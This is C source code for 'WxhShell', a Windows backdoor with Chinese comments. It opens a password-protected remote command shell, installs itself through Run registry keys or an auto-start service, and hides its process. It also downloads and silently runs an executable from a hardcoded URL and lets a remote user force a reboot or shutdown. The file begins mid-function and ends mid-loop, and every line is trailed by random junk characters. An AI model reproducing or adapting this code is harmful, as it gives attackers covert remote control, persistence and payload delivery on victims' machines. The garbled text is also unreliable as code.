  case 'd': { '#j6ZC/?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); KdHkX+-R  
    if(Boot(SHUTDOWN)) }>y~P~`S:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !(Y|Vm'   
    else { :u=y7[I  
    closesocket(wsh); Z(4/;v <CT  
    ExitThread(0); j&A9 &+w  
    } Fv/{)H<:y  
    break; (qc <'$o  
    } fWfhs}_  
  // 获取shell k8}'@w  
  case 's': { Edh9=sxL  
    CmdShell(wsh); {nA+-=T  
    closesocket(wsh); ~KGE(o4p  
    ExitThread(0); "k [$euV  
    break; $[cB6  
  } UDcr5u eKn  
  // 退出 IWN18aaL?  
  case 'x': { Gk58VODo  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); VOATza`  
    CloseIt(wsh); ]NWcd~"b!Z  
    break; KU+u.J  
    } +dq2}gM  
  // 离开 R"t2=3K  
  case 'q': { +ZE"pA^C  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Avljrds+7  
    closesocket(wsh); zKYN5|17  
    WSACleanup(); 5>1c4u`x  
    exit(1); <R2SV=]Sq#  
    break; i+I.>L/S  
        } }L{GwiDMDl  
  } g;o5m}  
  } PDgZb  
r`)'Kd  
  // 提示信息 ~$ ?85   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yswf2F  
} 5|bfrc  
  } UNrO$aX!1'  
ph2 _P[S'  
  return; )r*F.m{&:  
} |N^8zo :  
;uZq_^?:9&  
// shell模块句柄 %_5?/H@%3z  
int CmdShell(SOCKET sock) y?}<SnjP:  
{ a)+*Gf7?  
STARTUPINFO si; ), VF]  
ZeroMemory(&si,sizeof(si)); 9a1R"%Z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XL1x8IB  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; VeFfkg4  
PROCESS_INFORMATION ProcessInfo; V5jy,Qi)  
char cmdline[]="cmd"; b|k(:b-G&.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a[!:`o1U  
  return 0; 11A;z[Zk  
} g6 SZ4WV  
sFgsEKs  
// 自身启动模式 8j ky-r  
int StartFromService(void) uAk>VPuuZ  
{ ?6MUyH]a  
typedef struct 1F2(MKOo!  
{ gIGi7x  
  DWORD ExitStatus; KAr5>^<zw  
  DWORD PebBaseAddress; 4>HQ2S{t  
  DWORD AffinityMask; vsq |m 5  
  DWORD BasePriority; +f^|Yi  
  ULONG UniqueProcessId; &"yoJ<L  
  ULONG InheritedFromUniqueProcessId; <\ ".6=E#W  
}   PROCESS_BASIC_INFORMATION; d.U"lP/)D  
>dDcm  
PROCNTQSIP NtQueryInformationProcess; T+5H2]yy)  
ronZa0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E.x<J.[Y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `P;3,@ e  
j2hp*C'^  
  HANDLE             hProcess; gb^'u  
  PROCESS_BASIC_INFORMATION pbi;  `7V'A  
^NxKA'oWQ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fzjtaH?  
  if(NULL == hInst ) return 0; 7zNfq.Ni~  
r8_MIGM'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l>7?B2^<E  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |Yi_|']#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2.a{,d  
8tT/w5  
  if (!NtQueryInformationProcess) return 0; _tnoq;X[  
p<RIvSqM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |5BvVqn  
  if(!hProcess) return 0; 2d OUY $4  
wFL7JwK:G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]#FQde4]5  
s*e1m%  
  CloseHandle(hProcess); ( d8rfet  
<+<,$jGC-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NQd0$q  
if(hProcess==NULL) return 0; GRgpy  
17ynFHMd,  
HMODULE hMod; J>0RN/38o  
char procName[255]; OK:YnSk"  
unsigned long cbNeeded; G/_8xmsU  
]rO/IuB  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); VQ2B|v  
o~'UWU'#  
  CloseHandle(hProcess); 1L _(n  
h7}P5z0F  
if(strstr(procName,"services")) return 1; // 以服务启动 X/S%0AwZ  
mGUG  
  return 0; // 注册表启动 n=h!V$X   
} ^QTkre  
zgSv -h+f  
// 主模块 U;U19[]  
int StartWxhshell(LPSTR lpCmdLine) 7I:<i$)V  
{ ","to  
  SOCKET wsl; DPlmrN9@=  
BOOL val=TRUE; XiyL563gh  
  int port=0; ,LDdL  
  struct sockaddr_in door; #4^D'r>pJ  
>% E=l  
  if(wscfg.ws_autoins) Install(); *iVv(xXgN  
<TEDs4 C  
port=atoi(lpCmdLine); 8H{9  
;.d{$SO  
if(port<=0) port=wscfg.ws_port; 0(|36 ;x  
)KN]"<jB  
  WSADATA data; h]^= y.Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v-}D>)M^W  
t,yMO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   D{]9s  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $4>x4*  
  door.sin_family = AF_INET; T'%R kag>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); k= .pcDX  
  door.sin_port = htons(port); 6p~8(-nG  
jbu+>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2,'%G\QT  
closesocket(wsl); ju/#V}N  
return 1; 7pZd?-6M^  
} e>_Il']Mb  
]nx5E_j2  
  if(listen(wsl,2) == INVALID_SOCKET) { &jF[f4:7  
closesocket(wsl); D{iPsH6};5  
return 1; wB%;O`Oh  
} t",b.vki\z  
  Wxhshell(wsl); {pk&dB _Bu  
  WSACleanup(); od]1:8OF  
x^!LA,`j  
return 0; A}0u-W  
NS^+n4  
} <ta#2  
7V;wCm#b  
// 以NT服务方式启动 >L88`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9*xv ,Yz8  
{ @t,Y< )U  
DWORD   status = 0; ?~rz'Pu~  
  DWORD   specificError = 0xfffffff; Ccy0!re  
fzjZiBK@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [hKt4]R  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Znh) m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0"xD>ue&  
  serviceStatus.dwWin32ExitCode     = 0; _!E/ em  
  serviceStatus.dwServiceSpecificExitCode = 0; d /`d:g  
  serviceStatus.dwCheckPoint       = 0; :@sjOY  
  serviceStatus.dwWaitHint       = 0; TM`6:5ONv  
[7=?I.\Cr7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rPoq~p[Y  
  if (hServiceStatusHandle==0) return; tD3v`Ke  
[O^mG 9  
status = GetLastError(); <FU1|  
  if (status!=NO_ERROR) =_9grF-  
{ 4*_.m9{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z%[^-l-  
    serviceStatus.dwCheckPoint       = 0; 5^GrG|~  
    serviceStatus.dwWaitHint       = 0; qM0Df0$?x  
    serviceStatus.dwWin32ExitCode     = status; \Qe`>nA  
    serviceStatus.dwServiceSpecificExitCode = specificError; G297)MFF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); FKkL%:?  
    return; ](sT,'  
  } fdzaM&  
1<&nHFJ;[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ZD`0(CkXb  
  serviceStatus.dwCheckPoint       = 0; 0^zp*u  
  serviceStatus.dwWaitHint       = 0; G}gmkp]z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kZHIzU  
} Nmu=p~f}3`  
vS+E`[  
// 处理NT服务事件,比如:启动、停止 tJZ3P@ L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) g7<u eF  
{ #(Ezt% ^  
switch(fdwControl) oh^QW`#(  
{ 5SwQ9#  
case SERVICE_CONTROL_STOP: cR/z;*wr7  
  serviceStatus.dwWin32ExitCode = 0; OE_A$8L  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ];au! _o  
  serviceStatus.dwCheckPoint   = 0; $Rv (v%  
  serviceStatus.dwWaitHint     = 0; y,vrMWDy  
  { q b7ur;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s_Gf7uC  
  } jL9to6 Hmr  
  return; hYU4%"X  
case SERVICE_CONTROL_PAUSE: Y|N.R(sAs&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; w2o5+G=  
  break; p& +w  
case SERVICE_CONTROL_CONTINUE: Tn(c%ytN  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; iP+3)  
  break; VW *d*!  
case SERVICE_CONTROL_INTERROGATE: n~G-X  
  break; 04QY x}a  
}; J+=+0{}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); guWX$C-+1  
} _q1E4z  
"o>gX'm*  
// 标准应用程序主函数 56^#x  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Fd/.\s  
{  wA7^   
V [r1bF  
// 获取操作系统版本 .z&,d&E  
OsIsNt=GetOsVer(); <B3$ODGJp  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?9m@ S#@  
4Q n5Mr@<  
  // 从命令行安装 2g:V_%  
  if(strpbrk(lpCmdLine,"iI")) Install(); )6 [d'2  
#a=~a=c(^  
  // 下载执行文件 Z2hIoCT  
if(wscfg.ws_downexe) { {/PiX1mn  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^h\Y.  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6=i@t tAK  
} 23~KzC  
+LeM[XX  
if(!OsIsNt) { x4nmDEpa  
// 如果时win9x,隐藏进程并且设置为注册表启动 R`!'c(V  
HideProc(); ^Y- S"Ks  
StartWxhshell(lpCmdLine); `u7"s'  
} iP^o]4[c  
else "Zq)y_1  
  if(StartFromService()) K"U[OZC`  
  // 以服务方式启动 @Zov&01  
  StartServiceCtrlDispatcher(DispatchTable); :Vl2\H=P  
else ;Alw`'  
  // 普通方式启动 EwH_k  
  StartWxhshell(lpCmdLine); 7z^\}&  
t~@~XI5  
return 0; w*7BiZ{s<  
} 0) T`&u3!  
-P7JaH/Q  
25CO_  
hj|P*yKV  
=========================================== sJ q^>"|J  
U|}Bk/0.  
JVk"M=c  
-cW 'g  
=`%"-A  
[W{WfJ-HwG  
" !<I3^q  
S@PAtB5  
#include <stdio.h> t;e+WZkV  
#include <string.h> T.kQ] h2ZG  
#include <windows.h> 6e.?L  
#include <winsock2.h> VL O !hA#  
#include <winsvc.h> +9d]([Lx  
#include <urlmon.h> 5<?s86GHh'  
|'" 17c&  
#pragma comment (lib, "Ws2_32.lib") @ATJ|5.gr  
#pragma comment (lib, "urlmon.lib") ri?>@i-9=  
uy^vQ/  
#define MAX_USER   100 // 最大客户端连接数 $^;b 1bnO  
#define BUF_SOCK   200 // sock buffer Fv(1A_~IS  
#define KEY_BUFF   255 // 输入 buffer i1E~F  
f R?Xq@c  
#define REBOOT     0   // 重启 N 2\lBi  
#define SHUTDOWN   1   // 关机 8kwe._&)  
ohPCYt  
#define DEF_PORT   5000 // 监听端口 ]~H\X":[>  
D3BT>zTGK  
#define REG_LEN     16   // 注册表键长度 ,J63 ?EQ3  
#define SVC_LEN     80   // NT服务名长度 v Ol<  
~p0M|  
// 从dll定义API sa26u`?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4Y#F"+m.]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E,nxv+AQ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 50l! f7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,-GkP>8f(  
B"rfR_B2M#  
// wxhshell配置信息 f8c'`$O  
struct WSCFG { _R 6+bB$  
  int ws_port;         // 监听端口 6bXR?0$*M.  
  char ws_passstr[REG_LEN]; // 口令 ToVi;  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;&N=t64"  
  char ws_regname[REG_LEN]; // 注册表键名 2a 3RRP  
  char ws_svcname[REG_LEN]; // 服务名 WFTXSHcG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5!pof\/a  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 NEb M>1>^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Bl"BmUn  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =K ctAR;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5RysN=czA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7\?0d!  
d@?++z  
}; #OT8_D  
{r,MRZaa  
// default Wxhshell configuration lPywr TG0  
struct WSCFG wscfg={DEF_PORT, " A}S92  
    "xuhuanlingzhe", wcI? .  
    1, S);SfNh%CL  
    "Wxhshell", i:coNK)4  
    "Wxhshell", qP}187Q1  
            "WxhShell Service", +%%Ef]  
    "Wrsky Windows CmdShell Service", (WISf}[l;  
    "Please Input Your Password: ", X' ,0vK  
  1, 4|#@41\ B  
  "http://www.wrsky.com/wxhshell.exe", jrKRXS  
  "Wxhshell.exe" UbnX%2TW  
    }; :47bf<w|Y  
&# ?2zbZ  
// 消息定义模块 v, VCbmc  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $xK2M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2`?58&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ip`oL_c  
char *msg_ws_ext="\n\rExit."; jrl'?`O  
char *msg_ws_end="\n\rQuit."; y| 7sh  
char *msg_ws_boot="\n\rReboot..."; ~.*G%TW &V  
char *msg_ws_poff="\n\rShutdown..."; @3Lh/&  
char *msg_ws_down="\n\rSave to "; Duu)8ru  
Gz,?e]ZV  
char *msg_ws_err="\n\rErr!"; eq!>~: #  
char *msg_ws_ok="\n\rOK!"; >$RQ  
Pd"=&Az|  
char ExeFile[MAX_PATH]; m);0sb  
int nUser = 0; iW # |N^  
HANDLE handles[MAX_USER]; !d)Vr5x  
int OsIsNt; [K=M; $iQ  
a^ _ _Z3g,  
SERVICE_STATUS       serviceStatus; :Q=tGj\ G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -*<4 hFb  
T|%pvTIe  
// 函数声明 [@&0@/s*t'  
int Install(void); K|{IX^3)V  
int Uninstall(void); I+VL~'VlS  
int DownloadFile(char *sURL, SOCKET wsh); BIk0n;Kz<L  
int Boot(int flag); xRI7_8Jpyn  
void HideProc(void); %tOGs80_{  
int GetOsVer(void); ,DZoE~  
int Wxhshell(SOCKET wsl); 0eP ]  
void TalkWithClient(void *cs); #aeKK7[  
int CmdShell(SOCKET sock); |}-bMQ|  
int StartFromService(void); .yF@Ow  
int StartWxhshell(LPSTR lpCmdLine); cOq'MDr  
0'3f^Ajf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); KmYSYNr@,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v/m} {&K  
R_7[7 /a  
// 数据结构和表定义 w!j'k|b>  
SERVICE_TABLE_ENTRY DispatchTable[] = ieL7jN,'m  
{ ]VCVV!G_=n  
{wscfg.ws_svcname, NTServiceMain}, 9Ev<t \B  
{NULL, NULL} 5Qh$>R4!"  
}; VK]cZ%)  
5{"v/nXV  
// 自我安装 XY h)59oM%  
int Install(void) x* 9 Xu"?  
{ J\@W+/#dF  
  char svExeFile[MAX_PATH]; !2o1c  
  HKEY key; [qL{w&R  
  strcpy(svExeFile,ExeFile); ~O c:b>~  
.DX-biX,  
// 如果是win9x系统,修改注册表设为自启动 mM$|cge"  
if(!OsIsNt) { ^5D%)@~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ..K@'*u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -`8pahI  
  RegCloseKey(key); +v.<Fw2k#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]<xzCPB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B@ xjwBUk  
  RegCloseKey(key); RDSkFK( D  
  return 0; {O=PVW2S  
    } #aua6V!"  
  } z8@[]6cW  
} K7-z.WTUR  
else { 8)o%0#;0B  
hE;|VSdo  
// 如果是NT以上系统,安装为系统服务 cp)BPg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); */6lyODf  
if (schSCManager!=0) TFAd  
{  3cA '9  
  SC_HANDLE schService = CreateService * @=ZzL  
  ( x##0s5Qn  
  schSCManager, @dyh: 2!  
  wscfg.ws_svcname, DP8%/CV!*  
  wscfg.ws_svcdisp, c<a)Yqf"]  
  SERVICE_ALL_ACCESS, *yZ `aKfH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {zTnE?(o`  
  SERVICE_AUTO_START, z}a9%Fb  
  SERVICE_ERROR_NORMAL, fjd)/Gg  
  svExeFile, }ip3dm  
  NULL, 0g`$Dap  
  NULL, p>l:^ -N;f  
  NULL, I'E7mb<2  
  NULL, {ew; /;  
  NULL 4o<rj4G>  
  ); #I"s{*  
  if (schService!=0) _M) G  
  { 2j;9USZ p  
  CloseServiceHandle(schService); %#<MCiaK  
  CloseServiceHandle(schSCManager); |Zk2]eUO+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y}U}AUt  
  strcat(svExeFile,wscfg.ws_svcname); sR4B/1'E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o* ~aB_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f}t8V% ^E  
  RegCloseKey(key); < 2SWfH1>  
  return 0; g.*DlD%%  
    } M5kw3Jy5  
  } CUN1.i<pk8  
  CloseServiceHandle(schSCManager); .]e_je_  
} )`BKEa f  
} p/U{*i ]t  
~Z~V:~  
return 1; o1?S*  
} x']Fe7nv  
Gsu?m  
// 自我卸载 #\8"d  
int Uninstall(void) k2O3{xIjc  
{ 4l`[,BJ  
  HKEY key; =/!RQQ|8o  
!pZ<{|cH  
if(!OsIsNt) { w,az{\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aD+4uGN  
  RegDeleteValue(key,wscfg.ws_regname); wJZuJ(  
  RegCloseKey(key); O.DO,]Uh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  i}_"  
  RegDeleteValue(key,wscfg.ws_regname); L|L;<  
  RegCloseKey(key); [DZ|Ltv  
  return 0; @'9m()%-]g  
  } YsMM$rjP +  
} s o1hC  
} hv`I`[/J  
else { 63i&<  
3$_JNF`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dmWCNeja.  
if (schSCManager!=0) T#<Q[h=  
{ (6Ciqf8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I^Dm 3yz  
  if (schService!=0) N8iLI`  
  { "~mY4WVG  
  if(DeleteService(schService)!=0) { a4[t3U  
  CloseServiceHandle(schService); GC~nr-O  
  CloseServiceHandle(schSCManager); _=cU2  
  return 0; jV[;e15+  
  } Z (t7QFd  
  CloseServiceHandle(schService); !FwNq'Q8$  
  } 4f&"1:  
  CloseServiceHandle(schSCManager); ? G`6}NP  
} )$h!lAo  
} $J):yhFs e  
)8!*,e=4  
return 1; W7. +  
} R@-x!*z  
/xSFW7d1  
// 从指定url下载文件 @QMy!y_K~m  
int DownloadFile(char *sURL, SOCKET wsh) L~%7=]m  
{ %!r.) Wx|2  
  HRESULT hr; pC]XbokES  
char seps[]= "/"; Re2&qxE  
char *token; Qvty;2$o@  
char *file;  T  5F)  
char myURL[MAX_PATH]; %fnG v\uI  
char myFILE[MAX_PATH]; Y1ks'=c>  
SpImd IpD  
strcpy(myURL,sURL); j9rxu$N+  
  token=strtok(myURL,seps); ;80^ GDk~S  
  while(token!=NULL) 0'HQ=pP  
  { ah%Ws#&  
    file=token; <DP8a<{{  
  token=strtok(NULL,seps); $ x:N/mMu`  
  } `8S3Y  
q^:VF()d_z  
GetCurrentDirectory(MAX_PATH,myFILE); 5rmU9L  
strcat(myFILE, "\\"); j XH9P q4  
strcat(myFILE, file); 3FtL<7B '.  
  send(wsh,myFILE,strlen(myFILE),0);  \_  
send(wsh,"...",3,0); 9;'#,b*(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); IJ~j(.W  
  if(hr==S_OK) |RXQ_|  
return 0; _!E&%=f  
else 2kt0Rxg  
return 1; aL_/2/@X8  
#N"u 0  
} lWe cxD$  
"%)g^Atp>  
// 系统电源模块 LP=y$B  
int Boot(int flag) R*!s'R  
{ \ @ fKKb|  
  HANDLE hToken; <:Mz2Rg  
  TOKEN_PRIVILEGES tkp; aU~?&]  
E%DT;1  
  if(OsIsNt) { qY$ [2]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ] j8bv3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d!UxFY@  
    tkp.PrivilegeCount = 1; co~NXpqg  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yQ$]`hr;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7FJ4;HLQ  
if(flag==REBOOT) { Aj|->Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )|vy}Jf7  
  return 0; s[sv4hq  
} 14" 57Jt8  
else { J jm={+@+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) eZ+6U`^t  
  return 0; .>eRX%  
} q" f65d4c  
  } lcm3wJ'w  
  else { E*u*LMm  
if(flag==REBOOT) { BvsSrse  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) oOaFA+0x  
  return 0; |?#JCG  
} A[8m3L#k  
else { [gpO?'~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F3EAjO)ch  
  return 0; :09NZ !!  
} Ku%tM7ad  
} Ny^f'tsA  
}%8ZN :  
return 1; 0cE9O9kE  
} p<=Lh47 =  
mf3,V|>[\  
// win9x进程隐藏模块 &hO-6(^I  
void HideProc(void) ;aV3j/  
{ W~0rSVD$<z  
5h&sdzfG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); aZ4?! JW.  
  if ( hKernel != NULL ) 9-/q-,  
  { aTTkj\4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); RARA_tii  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 50QDqC-]XS  
    FreeLibrary(hKernel); k9f|R*LM  
  } (0 H=f6N  
C@6:uiT$  
return; mLqqo2u  
} zQ |2D*W  
t\hnnu`Pq  
// 获取操作系统版本 W06#|8,{v  
int GetOsVer(void) Zs />_w}  
{ R\5,H!V9n  
  OSVERSIONINFO winfo; &F uPd}F  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); a1~|?PCbY  
  GetVersionEx(&winfo); 9gcW;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &J&'J~N  
  return 1; hNM8H  
  else 6qHD&bv\%C  
  return 0; Tj#S')s8  
} < j:\;mi;  
12z!{k7N  
// 客户端句柄模块 Ik$$Tn&;  
int Wxhshell(SOCKET wsl) le\-h'D  
{ *,4rYb7I w  
  SOCKET wsh; $G`CXhbl  
  struct sockaddr_in client; V ml 6\X  
  DWORD myID; wn5OgXxG<  
"D _r</b  
  while(nUser<MAX_USER) =^rt?F4  
{ K2zln_W  
  int nSize=sizeof(client); ywAvqT,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); dGYR  'x  
  if(wsh==INVALID_SOCKET) return 1; (vO3vCYeQ  
]]PNYa  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7b[s W|{  
if(handles[nUser]==0) N:)x67,  
  closesocket(wsh); EL$DvJ~  
else <#h,_WP*  
  nUser++; z3uR1vF'  
  } {6v.(Zlh$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); TQT3]h6  
bO\++zOF  
  return 0; ^x\VMd3*w  
} pPBXUu'  
|CDM(g>%  
// 关闭 socket V|MHDMD=  
void CloseIt(SOCKET wsh) p>7qyZ8  
{ X$>F78e*  
closesocket(wsh); &SE}5ddC7  
nUser--; bgi_QB#k\  
ExitThread(0); no3yzF3Hi  
} E2'Wzrovlo  
-U/)y:k!%  
// 客户端请求句柄 PaI\y! f  
void TalkWithClient(void *cs) TRGpE9i  
{ H54RA6$>  
CW+kKN  
  SOCKET wsh=(SOCKET)cs; Vc(4d-d5  
  char pwd[SVC_LEN]; .D 4G;=Q  
  char cmd[KEY_BUFF]; x"Ky_P~  
char chr[1]; 8M*+ |  
int i,j; {s mk<NL  
u2oS Ci  
  while (nUser < MAX_USER) { zWC| Qe  
e,xL~P{|  
if(wscfg.ws_passstr) { z< L2W",  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EfEgY|V0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e P@#I^_  
  //ZeroMemory(pwd,KEY_BUFF); \#HW.5  
      i=0; JD$g%hcVZa  
  while(i<SVC_LEN) { YGo?%.X  
Wk0E7Pr  
  // 设置超时 !i;6!w  
  fd_set FdRead; ;d6Dm)/(  
  struct timeval TimeOut; <Q~N9W  
  FD_ZERO(&FdRead); hik.qK  
  FD_SET(wsh,&FdRead); ?XHQdN3e  
  TimeOut.tv_sec=8; e]RzvWq  
  TimeOut.tv_usec=0; a<<4gXx  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]@#9B>v=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^v; )6a2  
Y)1/f EM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )%K<pIk  
  pwd=chr[0]; !zX() V  
  if(chr[0]==0xd || chr[0]==0xa) { #hxYB  
  pwd=0; 5skN'*oG  
  break; L]kBY2c  
  } 4aS}b3=n  
  i++; dEJqgp}\p  
    } {$^'oRk  
^O_Z5NbC3  
  // 如果是非法用户,关闭 socket spV7\Gs.@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); msmW2Zc  
} |T|m5V'l  
mXRkR.zu+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9lb?%UFe  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CVfV    
e34>q:#5l  
while(1) { Iq + N0G<j  
Pf[E..HF*d  
  ZeroMemory(cmd,KEY_BUFF); Ol>q(-ea  
PFJ$Ia|  
      // 自动支持客户端 telnet标准   z%D7x5!,R  
  j=0; KoERg&fY  
  while(j<KEY_BUFF) { l{[@Ahb}?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '0HOL)cIz  
  cmd[j]=chr[0]; O-(V`BZe  
  if(chr[0]==0xa || chr[0]==0xd) { 7_I83$p'  
  cmd[j]=0; l8oaDL\f  
  break; [Z$H <m{c-  
  } B7 s{yb  
  j++; WQ9e~D"  
    } fQfn7FaW_\  
(.4lsKN<  
  // 下载文件 Tvx1+0Z%z  
  if(strstr(cmd,"http://")) { d6J/)nl  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); v6*0@/L M  
  if(DownloadFile(cmd,wsh)) MNu0t\`p4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -uYxc=4Lh  
  else :*Wq%Y=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gA2Wo+\^bq  
  } ["3dr@T9Z  
